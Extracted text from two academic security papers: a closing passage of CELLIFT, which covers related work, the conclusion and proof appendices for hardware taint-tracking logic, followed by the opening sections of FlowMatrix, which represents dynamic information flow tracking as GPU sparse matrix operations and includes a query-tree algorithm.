dress the scalability issues of GLIFT by using dedicated hard-
ware [35], static analysis [5], policy-specific IFT logic [41,42],
and trading precision with simpler IFT logic [30]. Orthog-
onally, CELLIFT solves the scalability problems of GLIFT
by generating the IFT logic at a higher level of abstraction.
It would be interesting to see how previous techniques that
scale GLIFT, can be used to scale CELLIFT even further.

RTLIFT [2] aims to address scalability and precision prob-
lems of GLIFT by instrumenting the HDL code directly. Un-
fortunately, existing HDLs are complex, and it is challenging
to achieve completeness by instrumenting in HDL directly.
In comparison, CELLIFT achieves completeness by choosing
a slightly lower-level yet generic cell abstraction, and outper-
forms RTLIFT as shown in Section 7.1. Because all cells
correspond to simple HDL constructs, CELLIFT provides a
strong basis for any future HDL-level instrumentation.

Non-synthesizable hardware fuzzing of simulation binaries
was recently proposed [68]. However, because the simulation
binary’s control flow depends on values in the design, soft-
ware dynamic IFT will lead to critical overtainting. Another
major drawback of this approach is its restriction to Verilator.

Support for software dynamic IFT. Previous work pro-
poses to provide hardware support for software dynamic
IFT [53, 54]. These solutions are more lightweight but are
only suited to find issues in software, not in hardware.

Static analysis of hardware. Static analysis in combination
with model checking or verification of security properties is a
common technique for improving hardware design security [9,
19, 22, 23, 64]. These techniques, however, have scalability
issues due to the state explosion problem. To make static
analysis tractable in certain cases, previous work introduces a
new type system to an existing HDL [21] or a new HDL [77]
for checking security properties. These techniques are not
backward compatible to existing designs. In comparison,
CELLIFT provides a scalable alternative for checking security
properties in unmodified RTL designs.

Model-based Meltdown detection. IntroSpectre [24] also
detected Meltdown-type leakages on BOOM. It uses a Gad-
get Fuzzer to generate fuzzing rounds, uses known values
instead of taints, and augments BOOM with a Leakage Ana-
lyzer, an ad-hoc IFT mechanism. Whereas this mechanism
may have a faster simulation runtime, CELLIFT proposes a
trade-off with several advantages. First, CELLIFT is not built
into a simulator. It is therefore compatible with any tool flow.
Second, CELLIFT is design-agnostic: it does not require the

engineering effort and precise knowledge about the design to
be deployed; CELLIFT even reveals the relevant microarchi-
tectural elements traversed by tainted signals. Third, CELLIFT
supports processed secrets (for instance, the result of an addi-
tion with a secret) and taints in the control paths, whereas the
Leakage Analyzer in IntroSpectre only monitors unchanged
secret data in the data path. This last feature is essential in an-
alyzing exploitability: because no taint reached back caches
or control path, we concluded that R1 [24] is not exploitable,
whereas it remained an open question with IntroSpectre.
Hardware testing. Test cases are an effective tool used
by practitioners to combat hardware bugs. To increase the
coverage of test cases, random testing or more guided methods
can be used to increase the coverage [34,49,51,68]. CELLIFT
can complement these approaches by providing a mechanism
to detect when vulnerabilities are triggered.

SPECS [28] dynamically checks security-critical state us-
ing policies derived from the ISA to combat post-silicon vul-
nerabilities. These policies could be leveraged by CELLIFT to
check the entire state during pre-silicon testing. Post-silicon,
CELLIFT can be used as a low-overhead alternative to exist-
ing hardware dynamic IFT techniques for enforcing security
properties in the entire system [63].

11 Conclusion

We presented CELLIFT, the first hardware dynamic IFT mech-
anism that can scale to complex state-of-the-art open-source
RISC-V processors. CELLIFT instruments the RTL using the
cell abstraction, which is high-level enough for high perfor-
mance and precision, yet generic enough to handle generic
and heterogeneous digital designs without modification. To
achieve this, CELLIFT leverages the logical properties of cells
such as monotonicity, transportability, and translatability.
Our evaluation using five real RISC-V designs with various
complexities shows the superior scalability, precision and
performance of CELLIFT. We further used CELLIFT in dif-
ferent scenarios to show-case its effectiveness in detecting
various classes of flaws and vulnerabilities. CELLIFT is the
first open-source dynamic IFT solution, enabling hardware
security research for the wider community.
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Figure 12: Cell composition for each design. The r_ prefix denotes reduction cells (logic cells with multiple input bits but a
single output bit. Note that the Y axis is logarithmic.)

Full adderFull adderFull adder

Figure 13: Notations for the ripple carry adder.

A Cell Statistics
Figure 12 provides details on the cell composition of the evalu-
ated designs before instrumentation, and after instrumentation
by each mechanism. For readability, the size of the cells is
not indicated.

B Transportability Architecture Proof
We prove the correctness and precision of the adder IFT logic
illustrated in Figure 4 and equivalently given by Equation 5.

We conduct a proof by induction on a ripple carry adder.
Because any adder implementation fulfills the same mathemat-
ical function, the proof holds for any adder implementation.

Notations. We denote by W := Ni
2 the width of each in-

put A and B. As illustrated in Figure 13 we adopt the fol-
lowing notations: for the jth full adder inputs: A j, B j and
c j−1, and outputs Yj and c j, with the carry bit sequence
c := {cW , ...,c0,c−1} where c−1 := 0. We define Ĩ0 := I ∧ It

(tainted inputs deasserted) and Ĩ1 := I ∨ It (tainted inputs as-
serted). The generic notation X represents Y or c.

Proof by induction. We consider the following induction
property HX j , for 0 ≤ j <W , for a fixed input I with taints It :

«[∃ Ĩ such that (I ⊕ Ĩ)∧ It (match_on_nontaint property)
and X j(I) ̸= X j(Ĩ) (toggledX j

)] ⇐⇒ [X j(Ĩ0) ̸= X j(Ĩ1)

(polarizationX j
) or At

j ∨Bt
j (transport j)] »: HX j .

Intuitively, we want to prove, for each output bit Yj and
each carry bit c j (including the intermediate carry bits), that if
I and some other input Ĩ match on non-tainted bits and this bit
Yj or c j is toggled between inputs I and Ĩ, then polarization
and transportability taint the information flow (correctness),
and conversely (precision).

Proof. Let us first prove Hc0 and HY0 . Because Y0 = A0 ⊕B0
and c0 = A0 ∧B0, then for Y0 or c0 to be tainted, at least one

of A0 and B0 must be tainted, and conversely. Therefore HY0

and Hc0 hold by (transport0).
Let us now prove Hc j and HY j for a given 1 ≤ j <W , as-

suming that Hc j−1 holds. We start by showing the implica-
tion: ∃Ĩ such that (match_on_nontaint) and (toggledX j

) =⇒
(polarizationX j

) or (transport j), corresponding to correctness.
If At

j or Bt
j, then Hc j and HY j hold by (transport j). Let us

suppose from now that At
j = Bt

j = 0 and suppose the exis-
tence of Ĩ that satisfies the conditions (match_on_nontaint)
and (toggledc j

). Because A j and B j are not tainted and there-
fore identical in I and Ĩ by (match_on_nontaint), and because
c j = [A j +B j + c j−1 ≥ 2], it results that c j−1 is toggled when
applying Ĩ instead of I. By Hc j−1 , (a) Either c j−1 is tog-
gled between Ĩ0 and Ĩ1 (polarizationc j−1

), (b) Or At
j−1 ∨Bt

j−1
(transport j−1). Hence, in both cases (a) and (b), c j is also
toggled between Ĩ0 and Ĩ1, i.e., (polarizationc j

) holds.
Let us now prove: ∃Ĩ such that (match_on_nontaint) and

(toggledX j
) ⇐= (polarizationX j

) or (transport j), correspond-
ing to precision. If (polarizationX j

), then Ĩ = Ĩ0 or Ĩ = Ĩ1. If
(transport j), then because c j = [A j +B j + c j−1 ≥ 2] and Yj

is [A j +B j + c j−1] mod 2, Ĩ : I ⊕ (1 ≪ j) is a candidate.
Therefore, HY j and Hc j hold. We have proved correctness

and precision of the IFT logic described by Equation 5.

C Pivoting for Precise Shift Cells
In this appendix, we compute an IFT logic for the right shift
cell by an unsigned offset by introducing a pivoting technique.
This appendix relies on the assumption that the shift offset B
and its taint vector Bt verify B∧Bt = 0 (i.e., B is zero at all
non-tainted indices). This property is provided in the second
shift cell obtained from the translatability property.
Logical shifts. We introduce the notation t

=, which denotes
that two vectors match on non-tainted bits, as defined in Equa-

tion 10, and its counterpart
t
̸= in Equation 11. The decomposi-

tion by translability guarantees that all the non-tainted bits in
the shift offset B∧Bt of this cell are zero, which substantially
simplifies the IFT logic computation. We prove that an IFT
logic for this second cell can be expressed by Equation 12 for
right shifts and by Equation 13 for left shifts.

U t
=V : ⇐⇒ U t ∨V t ∨ [U ⊕V ] (10)

U
t
̸=V : ⇐⇒ U t ∨V t ∨ [U ⊕V ] (11)
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Y t
j =

2NB−1∨
k=0

([
B t
= k

]
∧
[

A j
t
̸= A j+k

])
(12)

Y t
j =

2NB−1∨
k=0

([
B t
= k

]
∧
[

A j
t
̸= A j−k

])
(13)

Focusing on a logical right shift, the jth output bit Yj is
tainted if either (explicit tainting) the taint results from shift-
ing some tainted bit Ak to the right to the index j, or (implicit
tainting) some offset B̃ that matches with B on non-tainted
bits gives a different value for Yj, than the offset B.

Because we know that the full-zero vector satisfies the
matching condition of B̃, there is always some pivot B̃0 = 0
that maps A j to Yj. We iterate with some integer k through all
the 2NB values of B̃, assuming the worst case where the taint
vector Bt is full of ones. We complete A with zeroes beyond
the most significant bit to simplify the equations without loss
of generality. If there is any integer k in this range such that
(implicit tainting) there is a B̃ that can bring A j+k to Yj, then
Yj is tainted if A j ̸= A j+k (because there are two B̃ instances
that result in different values for Yj), or (explicit tainting) if
A j or A j+k is tainted, because then there is some B̃ that shifts
a tainted value to the output bit Yj, leading to Equation 12.

Arithmetical right shift. The IFT logic of the second cell
in the translatability decomposition of an arithmetical right
shift can be expressed by Equation 14.

Y t
j =

2NB−1∨
k=0

([
B t
= k

]
∧
[

A j
t
̸= Amin( j+k,NA−1)

])
(14)

The only difference with logical right shift tainting relies in
the implicit tainting part. Instead of completing A with zeroes,
A must be completed with values equal to its most significant
bit ANA−1. From there, a calculation similar to the logical
counterpart leads to the IFT logic described in Equation 14.

We now sketch a proof of the precision of the composition
of the two IFT logic instances resulting from the decomposi-
tion of the arithmetical right shift.

The NA−B0 most significant bits of C(A,B0)’s output bene-
fit from the taint combination surjectivity of the first cell’s IFT
logic, because these bits are shifted by a non-tainted offset.
Therefore, the second cell’s output taints corresponding to
these inputs in step 2 are precise (see Appendix D). The only
tainted signals that cannot be surjectively enumerated are the
NA −B0 most significant bits, which take A’s most significant
bit’s value. However, although a comparison between these
could lead to an erroneous intermediate result, they will be
eventually tainted by the t

= operator.
Therefore, the composition of the two instances is precise.

D Taint combination surjectivity

We discuss taint combination surjectivity as a tool for under-
standing and proving precision of cell compositions.

                    

AND

AND
  OR

Figure 14: Multiplexer as the succession of a cell C′ and an
OR gate. A = B = 1, At = Bt = 0 and St = 1, therefore the
value of S does not matter for the IFT logic.

Let C be a cell with IFT logic L := Ct . L is said to be
taint combination surjective if for all inputs I and all taint
vectors It , it satisfies Equation 15. Informally, such an IFT
logic does not create any new interdependencies between taint
signals, because all potential outputs Ỹ that match with Y on
non-tainted output bits Y t are obtainable from inputs Ĩ that
match with I on non-tainted input bits It .

∀Ỹ∃Ĩ |Ct((I ∧ It)∨ (Ĩ ∧ It)) = (Y ∧Y t)∨ (Ỹ ∧Y t) (15)

A composition of cells C′(C(I)), each with precise IFT
logic L and L′, can be precisely instrumented with L′ ◦L if
L is taint combination surjective. A composition of taint
combination surjective IFT logics is also taint combination
surjective: the first IFT logic allows to generate all the inter-
mediate combinations for the second by surjectivity.

Intuition. We introduce a counterexample, where Ct is not
taint combination surjective. The multiplexer is known to be
imprecise [67] if it is instrumented as the composition of one
OR gate after two AND gates. Figure 14 shows a multiplexer
made of two cells: C′ and an OR gate. The outputs U and
V of C′ are tainted, given the precise taint propagation rule.
C′t is not taint combination surjective, because for A = B = 1,
At = Bt = 0 and St = 1, there is no input Ĩ = {Ã, B̃, S̃} which
matches with I on non-tainted bits (i.e., on A and B), that
produces the output Ỹ := {U = 0,V = 0}.

Logical shifts. All logical shift cells with untainted offset
are taint combination surjective. We provide a proof for the
left shift. The proof for the right shift is similar.

Proof. Let B be the untainted offset (i.e., Bt = 0). Let A
be the shifted input, with taints At . Then, Y = A ≪ B and
Y t = At ≪ B. Let Ỹ be a vector of same width as Y , with
Y ∧Y t = Ỹ ∧Y t . Then, Ã := Ỹ ≫ B is a preimage of Ỹ .
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Abstract
Dynamic Information Flow Tracking (DIFT) forms the foun-
dation of a wide range of security and privacy analysis. The
main challenges faced by DIFT techniques are performance
and scalability. Due to the large number of states in a pro-
gram, the number of data flows can be prohibitively large and
efficiently performing interactive data flow analysis queries
using existing approaches is challenging. In this paper, we
identify that DIFT under dependency-based information flow
rules can be cast as linear transformations over taint states.
This enables a novel matrix-based representation, which we
call FLOWMATRIX, to represent DIFT operations concisely
and makes it practical to adopt GPUs as co-processors for
DIFT analysis. FLOWMATRIX provides efficient support for
interactive DIFT query operations. We design a DIFT query
system and prototype it on commodity GPUs. Our evaluation
shows that our prototype outperforms CPU-based baseline by
5.6 times and enables rapid response to DIFT queries. It has
two to three orders of magnitude higher throughput compared
to typical DIFT analysis solutions. We also demonstrate the
efficiency and efficacy of new DIFT query operations.

1 Introduction

Understanding information flows in program execution is the
basis for advanced system diagnosis and attack response. Dy-
namic Information Flow Tracking (DIFT) is a commonly used
solution that tracks data flows in programs, which identifies
the flow of data among program states. It has a wide range
of applications, such as vulnerability detection and attack in-
vestigation [1–19], data leakage detection [20–24], protocol
recovery [25], and system configuration diagnosis [26, 27].

In a real-world program with a large number of states, the
data flows in the program are prohibitively complex to be
reasoned about. As a result, DIFT analysis is typically applied
to a subset of data flows: selecting a few program states and
tracking how they affect other program states along with the
data flows in the program, e.g., taint analysis [1]. During DIFT

analysis, investigators often need to run a large amount of
DIFT checks. For example, analysts commonly encounter
programs that prevent information flows from being tracked
correctly [28], such as in an implicit information flow where
variables are affected by other variables indirectly. When
reasoning about such information flows, there is a need to
probe information flows with multiple queries. As another
example, in misconfiguration diagnosis, investigators need to
check multiple information flows in a server program, taking
different configuration files to identify the root cause and
ramifications of misconfiguration [26, 27]. Such query-style
DIFT analysis is even more challenging, which requires heavy
computational support [29].

There have been many efforts to improve the performance
and scalability of DIFT techniques. From a high-level view,
information flow analysis systems include two main tasks,
defining information flow rules for individual operations and
applying the rules on a set of operations. An active research
direction for improving DIFT efficiency focuses on reducing
and parallelizing the application of rules on the operation
set. One category of work decouples flow tracking from pro-
gram execution and offloads the tracking in parallel to one or
more CPU cores [30–36] or other host systems [29, 37, 38].
Another category of work improves DIFT performance by
limiting flow tracking under certain conditions. For example,
several solutions [3, 39, 40] perform fastpath which enables
applications to execute without any instrumentation or taint
propagation for those execution paths without involving any
tainted metadata. Optimizing DIFT operations can also speed
up analysis when DIFT tools summarize the semantics of a
chunk of programs [21, 41] or eliminate redundant tracking
logic code in hot paths [42].

Another research direction to improve DIFT operations
focuses on optimizing the information flow tracking rules. In
fact, the fundamental limitation of DIFT is caused by such
rules. Specifically, most of the existing solutions in taint anal-
ysis follow information flows defined by program semantics,
where the complexity of the rules makes it difficult to scale up.
Recent research has developed new representations of DIFT
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operations for several different purposes, including speeding
up taint analysis [41] or automatically generating rules for
information flow tracking [43,44]. We aim to explore whether
these new representations can enable faster DIFT analysis.
Our Insight. The data flow captures how variables in the
input space (source) of a program affect program variables
in the output space (sink). Recent research shows that they
can be represented as a dependency relationship or a gradi-
ent one [43, 44]. We observe that the dependency relation is
simpler in semantics when describing information-flow op-
erations. In fact, it forms a linear relation in a program trace,
as we will elaborate in Section 3. The linear relationship
can be represented as matrix operations. As a well-studied
mathematical structure, matrix operations are optimized for
in software libraries as well as in hardware implementations,
such as GPUs. The matrix representation and hardware sup-
port lead to optimized execution of interactive DIFT queries
in an after-the-fact style on a program trace.
Our Approach. We design FLOWMATRIX, a novel matrix-
based representation of information flow operations that en-
ables efficient and versatile DIFT analysis. DIFT operations
using FLOWMATRIX can be efficiently processed by GPUs,
which are specialized hardware designed to perform large-
scale linear operations in parallel. The efficiency in data flow
operation representation and the speed-up by GPU enables ef-
ficient interactive DIFT queries. We also design a FLOWMA-
TRIX-based query system to support repeated DIFT queries.

We evaluate FLOWMATRIX for efficiency and effectiveness
improvements. Using GPU as the co-processor, we showed
that it can achieve 5.6 times speed-up compared with CPU
DIFT baseline. Our system also performs DIFT queries in
less than 0.1s for common cases and in less than 2s for heavier
real-world applications on commodity hardware. Moreover,
we compare our tool with the state-of-the-art and commonly
used DIFT analysis and query tools, namely LibDFT [45]
and JetStream [29]. Our approach outperforms LibDFT by
three orders of magnitude in data flow tracking throughput,
and achieves comparable throughput to JetStream without
using a server cluster. Finally, our case studies illustrate how
our DIFT query can help to improve trace-based after-the-
fact analysis, including handling implicit control flows and
diagnosing server misconfigurations.

We summarize the contributions of this work:

• We analyze offline dynamic information flow operations
on binaries and identify its linearity property. We pro-
pose FLOWMATRIX, a novel way of representing DIFT
operations using matrices which enabling off-the-shelf
GPUs to be used as a hardware co-processor for DIFT.

• We design an efficient solution to support interactive
DIFT queries on offline execution traces. It also supports
fine-tuning implicit flows and indirect flows efficiently.
Our prototype demonstrates sub-second response time
for several DIFT queries in common DIFT workloads.

2 Background

We briefly introduce existing DIFT techniques and analyze
their limitations.

2.1 Dynamic Information Flow Analysis

Dynamic information flow tracking (DIFT) identifies the flow
of data between two program locations. In taint analysis, it
is often referred to as (taint) sources and (taint) sinks. For
example, taint sources can be external inputs (e.g., network
sockets, file reads, and user inputs), while taint sinks can be
program outputs, sensitive memory areas, the program counter
(PC), etc.

In order to track the flow of data in binary programs, the
semantics of instructions need to be followed. Taking taint
analysis as an example, for each instruction executed by the
program, the metadata of the source operand is propagated
to the destination operand based on the instruction seman-
tics. The propagation step is then repeated for all instructions
executed. At any point in time, the current state of the data
can be obtained by observing the recorded metadata. In DIFT
queries, the data flow of instructions is also needed for decid-
ing the existence of queried flow. Tracking the data flow forms
the main bulk of work performed by DIFT analysis. It is deter-
mined by a set of rules, which are generated manually [45–47]
by domain experts or automatically by inference [43].

2.2 Limitations of Existing DIFT Rules

The DIFT rule representation directly decides the complexity
of DIFT operations. We analyze the resulting limitations of
existing DIFT rules.

The data-flow rules of state-of-the-art DIFT mechanisms
are typically implemented in high-level programming lan-
guages. A detailed example of such implementation of differ-
ent DIFT tools is provided in Figure 10 in Appendix. Due to
the richness of semantics of the language describing the taint
rules, it is challenging to further summarize the complex prop-
agation logic, which is often Turing complete. While works
like Taint Flow Algebra [41] simplify the expression of taint
rules as algebraic expressions, the summary of such expres-
sions relies on term rewriting, which still requires non-trivial
effort and is an open research problem.

The standard approach employed by current DIFT engines
starts with an initial (taint) state and repeatedly applies a
taint propagation function to it, accumulating in the final
taint state specified by the analyst. Note that the result of any
intermediate taint state is dependent on the previous state,
and this dependency between the current and previous result
forces the entire process to be sequential. The sequential [35]
nature of the propagation process essentially prevents it from
being parallelized.
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Figure 1: Dependency-based taint propagation rule for or
al, bl.

Under such sequential constraints, it is difficult to propagate
two instructions in parallel, because in each propagation, the
output taint state has a dependency on the current taint state,
which is the output of the last propagation.

3 FLOWMATRIX Approach

In this section, we analyze the core properties of DIFT opera-
tions and introduce a matrix-based representation. We show
how it enables efficient DIFT operations and GPU-based pro-
cessing in information flow analysis.

3.1 Matrix Representation of Information
Flow Operations

We formally describe the terms related to data-flow tracking
on dynamic execution traces. Let τ : ⟨I1, · · · , IN⟩ be the exe-
cution trace of a program, which is an ordered sequence of
instructions, from I1 to IN . Let Si : {0,1}n be a column vector,
which is the taint state of the instruction Ii, represented as
a bit vector of size n. Let Fi : {0,1}n → {0,1}n denote the
DIFT rule for instruction Ii, modeled as a function that maps
Si to Si+1. Let Sα denote the taint source and Sω denote the
taint sink where 1≤ α < ω≤N+1. DIFT operations analyze
whether there are data flows between Sα and Sω.

Our Insight. In the instruction or al, bl, it ORs the low-
est eight bits in ebx register with the lowest eight bits in eax
register and stores the result in the lowest eight bits in eax.
Its taint rule can be written in a dependency-based representa-
tion [43], shown in Figure 1. The left side of the arrow denotes
the states in the destination of the instruction’s operation, i.e.,
uses, while the right side denotes the states in the source of
the instruction, i.e., defs. For simplicity, we have omitted the
influence to the status register in the illustration.

In this instruction, the first input bit of al and bl influences
the first output bit of al. The corresponding DIFT propagation
rule can be written as:

alout [1] := alin[1]∨blin[1].

which is actually a simplification of the more verbose form in
boolean algebra:

alout [1] = (1∗alin[1])+ · · ·+(0∗alin[8])
+(1∗blin[1])+ · · ·+(0∗blin[8]).

In the verbose form, we explicitly include all input and output
taint bits of the instruction. The coefficient for each of the
input bits determines if the particular bit has an effect on the
output taint bit. We can represent the taint state of the instruc-
tion as a bit vector, S : {0,1}n. Let w j,i : {0,1} represent the
influence of Sin[i] over Sout [ j], the rule can be generalized as:

Si+1[ j] = w j,1 ∗Si[1]+w j,2 ∗Si[2]+ · · ·+w j,n ∗Si[n].

Therefore, the propagation function F : {0,1}n→{0,1}n, is
a system of n such equations:

Si+1[1] = w1,1 ∗Si[1]+w1,2 ∗Si[2]+ · · ·+w1,n ∗Si[n],

Si+1[2] = w2,1 ∗Si[1]+w2,2 ∗Si[2]+ · · ·+w2,n ∗Si[n],
...

Si+1[n] = wn,1 ∗Si[1]+wn,2,∗Si[2]+ · · ·+wn,n ∗Si[n].

As a result, the taint rule of an instruction Ii can be represented
as an n×n matrix:

Mi =


w11 w12 · · · w1n
w21 w22 · · · w2n

...
...

. . .
...

wn1 wn2 · · · wnn

 .

We call this representation FLOWMATRIX. Using the
FLOWMATRIX representation, the propagation function F
is defined as:

Fi : Mi×Si

With the definition of the propagation function F , we rep-
resent information flow propagation from source to sink as a
sequence of function applications.

Sω = Fω−1(· · ·Fα+2(Fα+1(Fα(Sα)))).

As matrix multiplication is a composition of linear systems,
the FLOWMATRIX representation enables an efficient sum-
mary of information flows. If Ma,Mb are two FLOWMATRIX
data flow matrices, their summarized data flow matrix Mab
can be calculated by multiplying two matrices:

Mab = Mb×Ma.

Thus, for the instructions sequence < Iα, · · · , Iω−1 >, we
can summarize their data flows as:

Msummary = Mω−1×·· ·×Mα+2×Mα+1×Mα.

This enables the pre-computation of the propagation rule
for instructions beforehand with Msummary.

Sω = (Mω−1×·· ·(Mα+2× (Mα+1× (Mα×Sα))))

= (Mω−1×·· ·Mα+2×Mα+1×Mα)×Sα

= Msummary×Sα.
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3.2 GPU-assisted FLOWMATRIX Operations
Matrix is a well-studied structure in parallel processing. As
DIFT operations can be represented as matrix operations, it
opens up an opportunity to scale up DIFT operations using
hardware and algorithms developed for efficient matrix oper-
ations. For example, though originally designed for graphics
processing, GPU is increasingly used as a modified form of
stream processor (or a vector processor). The thousands of
cores make the GPU a very promising choice for highly par-
allel applications like matrix and vector calculations.

To process the DIFT operation matrix in GPU, we need to
represent the rule matrix R in a format accepted by GPU. Most
modern languages (including C/C++ and CUDA) store 2D
arrays/matrices as 1D arrays in a row-major layout. However,
such a matrix layout incurs a heavy space overhead and has a
cubic time complexity in matrix-matrix multiplication tasks.
Given that a program state may contain millions of bits, both
shortcomings hinder the direct application of this dense layout
in DIFT with such an enormous matrix size.

To address this challenge, we make use of an observation
that most rule matrices are extremely sparse – one bit has
data flows towards only a few bits. For example, the matrix
for an x86-64 instruction mov rax, [rbp-8] has 128 bit-
wise data flows: 64 flows from memory [rbp-8] to register
rax and 64 succeeding flows from memory [rbp-8] to it-
self. As the matrix size is 128× 128, its sparsity would be
99.2%. In light of the high sparsity, we store FLOWMATRIX as
sparse matrices [48], where only those non-zero elements are
stored, by their indices and values. Thus, the space complex-
ity for sparse matrix storage is linear to a matrix’s number of
non-zeros (NNZ). The performance of sparse general matrix-
matrix multiplication (SpGEMM) is much better than dense
matrix-matrix multiplication with a high sparsity [49]. In ad-
dition, the matrices need to be normalized to fit the context of
each other before multiplication. We provide further details
in Appendix A.2.

4 FLOWMATRIX-Based DIFT Query

In this section, we present our solution to enable offline effi-
cient DIFT queries with FLOWMATRIX.

4.1 Overview
Figure 2 shows the design of our FLOWMATRIX-based DIFT
query system. Given a program execution trace, it provides
users with an interactive command-line interface to query
information flows repeatedly from various sources to destina-
tions. Sources and destinations each are either (1) a collection
of positions in the trace, or (2) a collection of system calls
where our tool hooks their data flows automatically, or (3) a
collection of instructions that involve specified registers or
memory contents as their operands.

Query Tree Constructor

d Multithreading construction

Flow Database

GPU Management

read(…)

e Rule Summarization

Query and Augment

g Flow Augment

fi Flow Query

C
om

m
and Line Prom

pt

jnz <main+0x76>
mov rax, 42

Traces

Database

System
Call Handlers

c Trace Loading

h Rule Edition

Figure 2: FLOWMATRIX Query architecture overview.

The FLOWMATRIX-based DIFT query system first loads
the trace to a database for scalable processing (Step 1). It then
prepares for queries by building a query tree (Step 2). The
query tree constructor invokes the back-end GPU manage-
ment component for FLOWMATRIX summarization, where
the instructions in the database are converted into FLOWMA-
TRIX data flow matrices (Step 3). Once summarization is
done, the query tree is ready for incoming DIFT queries in
Step 4 and replies with information flow dependencies. Users
are able to obtain arbitrary direct data flow dependencies.

If some of the dependencies are not explicitly tracked by di-
rect data flows, which is a challenging scenario for traditional
DIFT analysis [28], FLOWMATRIX DIFT query supports effi-
cient information flow augment for such two common cases:
indirect data flows and implicit control flows. We show that
the data flow represented by FLOWMATRIX can be augmented
(Step 5), which is further discussed in Section 4.3. Our tool
internally calls the GPU management unit to perform FLOW-
MATRIX editing on GPUs (Step 6). Finally, the augmented
flows are ready for user query (Step 7).

4.2 Query Tree Construction
The problem of finding data flow using FLOWMATRIX can
be formulated as follows: Given a sequence of data flow ma-
trices M1, M2, . . . , MN , and two positions α and ω, find data
flows between position α and position ω as matrix products
Mα ·Mα+1 · . . . ·Mω. After DIFT operations are abstracted as
matrix operations, optimization can be done by leveraging
the mathematical structure of matrix. Matrix operations are
associative, i.e., (A×B)×C = A× (B×C), which allows the
out-of-order computation of matrix multiplication. As a result,
instead of performing a sequence of N matrix multiplications,
we can compute the matrix product in a pairwise manner,
which requires log(N) operations. This enables us to paral-
lelize the process of matrix multiplication, and thus increase
overall throughput.

We use a binary-tree data structure to coordinate the range
data flow queries over a trace, borrowing the idea of a segment
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Figure 3: A query tree of 15 leaf vertices handles a query from
3 to 13. The tree splits the query into sub-queries to search
for pre-computed data flows of segments. Those recursive
sub-queries are presented as red edges marked with sub-query
ranges. Dark vertices are chosen ones in this query to be
multiplied.

tree. A query tree is a full binary tree, where each vertex other
than leaves has exactly two child vertices. Each vertex stores
a data flow matrix of a sub-segment. For instance, the root
vertex stores the data flow from the beginning to the end of the
whole segment [1,N], and its children represent two halves
[1,N/2] and [N/2+1,N] respectively. We keep splitting all
segments into two halves until all of them reach size 1. In
Figure 3, we show an example of such a binary-tree built
based on a snippet with 15 instructions. Every non-leaf vertex
has been marked with a segment it represents: the summary
of two child vertices.

Tree construction is the pre-computation process before
queries. We take the execution trace as input and compute
the data flow stored in every on-tree vertex. As each non-
leaf vertex relies on the data flows from both children, we
adopt a recursion algorithm to build the tree from bottom
to top. More specifically, as function QueryTreeConstruct
shown in Algorithm 1, we start assigning tasks from the full
segment, [1,N]. Every time we divide the current segment
into two halves (if it has not yet become a segment of length
1), and then call the same procedure on both halves. When
a segment’s size reaches 1, then it is a leaf and represents
a data flow of a single instruction. The data flow matrix of
one instruction is directly loaded from the data flow cache
or database. Then, the parent vertex summarizes data flow
matrices from two children, and uses the product matrix as
the data flow matrix stored in the parent. Similarly, data flow
matrices of other non-leaf vertices are computed after their
children are both ready. Once the root is ready, the procedure
of the whole query tree construction is completed.

Figure 3 also illustrates an example where the data flow
between interval [3,13] is queried from a trace of length 15.
Our solution procedure starts from the root [1,15]: The query
interval is a subset of the segment of the root. Thus, we move

Algorithm 1: FLOWMATRIX Tree Construction
// trace - An execution trace of a program
// α,ω - Indices in trace, where α≤ ω

// v - A vertex in the binary query tree
// root - Root vertex in the binary query tree
// Return with summarized matrices replied from

children.
1 function BuildSubTree(trace, v, α, ω)
2 v.segment← [α...ω];
3 if α = ω then

// v is a leaf vertex
4 v.M← ruleCache.loadMatByIdx(trace,α);
5 else

// v is a non-leaf vertex
6 v.lChild← φ;
7 v.rChild← φ;
8 BuildSubTree(trace,v.lChild,α,v.mid);
9 BuildSubTree(trace,v.rChild,v.mid +1,ω);

10 v.M← matrixBuilder.Summarize(v.lChild.M,v.rChild.M);
11 end
12 return v
13 end
14 function QueryTreeConstruct(trace)
15 root← φ;
16 root← BuildSubTree(trace,root,1, trace.length());
17 return root
18 end
19 function GetSubFlow(v, α, ω)
20 if v.segment ⊂ [α...ω] then

// In range. Return this vertex’s matrix.
21 return v.M
22 end
23 if v.segment ∩ [α...ω] = φ then

// Fully outside. Return an identity matrix.
24 return I
25 end

// Overlapping! Ask children recursively.
26 le f tSum← GetSubFlow(v.lChild,α,ω);
27 rightSum← GetSubFlow(v.rChild,α,ω);

// Return with summarized matrices replied from
children.

28 return matrixBuilder.Summarize(le f tSum,rightSum)

29 end
30 function GetIntervalFlow(root, α, ω)

// Get data flow matrix for segment [α..ω].
31 return GetSubFlow(root,α,ω)
32 end

to child vertices and split the interval into [3,8] and [9,13]
logically. We repeat these steps until we meet a vertex whose
segment is a subset of the query interval, e.g., [3,4]. Then the
data flow matrix for [3,4] will be returned. Finally, to obtain
the result of the query, we just summarize those returned
matrices, which are M3→4, M5→8, M9→12 and M13→13 in our
example.

Note that at any level, one query will have at most two
overlaps intervals, the most left interval and the most right
interval. Only those overlaps would cause calls to the next
level on the tree. Otherwise, the function call will directly
return with the vertex’s data flow matrix or an identity matrix.
In other words, Query function at most visits four vertices on
one level; among those four, at least two of them will directly
return without diving into their subtrees. Given that a query
tree is a balanced binary tree and that its height is ⌈log2N⌉
following O(logN), the number of total vertices we have to
visit in a query is O(logN). Note that only when there is an
overlapping, the data flow summarization will be performed.
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Thus, a query would only operate data flow summarization
for O(logN) times.

4.3 FLOWMATRIX Extension for Implicit
Flows and Indirect Flows

Tracking of implicit and indirect data flows, of which two
common examples are memory address references and con-
ditional control flows [28], has always been a challenge in
DIFT. These non-explicit data flows are usually defined in
a taint propagation policy [50]. The challenge arises due to
the severe over-tainting (taint explosion) that resulted from
propagating all non-explicit data flows. Typical solutions use
propagation policies based on heuristics, such as one-level
table lookups [51] to control the conditions of implicit taint
propagation, or specifically handled strict control flow de-
pendence [52]. For existing DIFT solutions, the problem is
exacerbated by the fact that taint propagation policies have to
be determined before DIFT is performed and any changes to
the policies necessitate a rerun of the DIFT making iterative
fine tuning of the policy hard. This highlights two desirable
properties we would like to achieve: a unified way of reason-
ing and defining non-explicit data flow and a cheap way to
perform changes to taint propagation policies.

Implicit and indirect data flows typically imply an indirect
influence. Specifically, implicit flows happen when the con-
dition variable in a conditional branch implicitly affects the
data that is defined in the branch; indirect flows exist because
a memory address indirectly affects the data at the memory
location. Intuitively, we can use a variable φ to make these im-
plicit/indirect relations explicit. The taint propagation policy
then can be defined as a set of φ where enabling the tracking
